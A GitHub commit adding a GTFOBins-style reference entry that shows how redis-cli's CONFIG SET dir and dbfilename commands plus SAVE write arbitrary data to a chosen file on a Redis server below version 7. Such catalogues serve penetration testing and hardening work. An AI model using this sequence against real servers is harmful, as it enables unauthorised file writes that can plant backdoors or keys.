Adding Redis file write

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Mark Davison 2023-02-11 19:29:37 +00:00 committed by GitHub
parent 1f52a21411
commit d1d30414fe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

13
_gtfobins/redis.md Normal file
View File

@ -0,0 +1,13 @@
---
description: This works with versions lower than 7.
functions:
file-write:
- description: Write files on the server running Redis at the specified location. Written data will appear amongst the database dump, thus it might not be suitable for all kind of purposes.
code: |
IP=127.0.0.1
redis-cli -h $IP
config set dir dir_to_write_to
config set dbfilename file_to_write
set x "DATA"
save
---